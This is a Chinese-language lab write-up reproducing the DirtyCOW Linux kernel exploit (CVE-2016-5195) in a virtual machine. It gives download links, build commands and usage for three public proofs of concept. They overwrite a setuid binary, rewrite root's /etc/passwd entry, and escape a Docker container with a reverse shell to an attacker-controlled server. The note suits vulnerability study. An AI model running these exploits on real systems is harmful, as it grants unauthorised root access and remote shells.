CVE-2016-5195 dirtycow 部分POC简单复现
0x01简介
脏牛漏洞DirtyCOW(CVE-2016-5195)是16年10月份披露的一个Linux Kernel中的漏洞,漏洞可以达到的效果是可以修改一个只读的文件,常用于提权。尝试分析了很久的原理,仍然觉得比较复杂,以后有需要再继续分析。因此本文仅记录一下几个经典POC的使用过程,方便日后查阅。
0x02 环境准备
docker会复用宿主机的kernel,因此如果是在linux上安装的docker,会发现kernel版本和宿主机一致。本文使用虚拟机复现,下载地址:
ubuntu-14.04.5-desktop-amd64.iso 2016-08-03 17:49 1.0G
0x03 POC测试
1. POC之cowroot
该POC会修改一个具备具备setuid权限的二进制文件(如/usr/bin/passwd),备份到/tmp/bak下,之后弹出一个root shell。注意这个POC用到的shellcode需要注意是32位还是64位的,修改之后重新编译即可。
下载地址:https://www.exploit-db.com/exploits/40616
# kernel 版本 (ubuntu 14.04.5 默认kernel版本)
Linux 2a93f03af879 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 编译方式
gcc cowroot.c -o cowroot -pthread --static
# 拿到root之后,恢复
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
# 用完之后恢复
mv /tmp/bak /usr/bin/passwd
验证结果:
2. POC之dirty
该POC会修改/etc/passwd文件中的root项的username和password,备份到/tmp下,使用完后恢复文件即可。
下载地址:https://github.com/FireFart/dirtycow/blob/master/dirty.c
# 编译方式
gcc -pthread dirty.c -o dirty -lcrypt
# 使用方式
"./dirty" or "./dirty my-new-password"
su firefart
# 用完之后恢复,也可以防止别人误用
cp /tmp/passwd.bak /etc/passwd
3. POC之dirtycow-vdso
该POC主要用于docker逃逸,原理是基于PTRACE修改VDSO(Kernel映射给userland的地址空间)中的clock_gettime函数,之后反弹shell到攻击者的服务器。
POC下载地址:
POC原理分析:
使用方法:
# 下载
git clone https://github.com/scumjr/dirtycow-vdso.git
# 编译 需要有nasm xxd gcc
cd dirtycow-vdso && make
# 运行
./0xdeadbeaf VPS-IP:PORT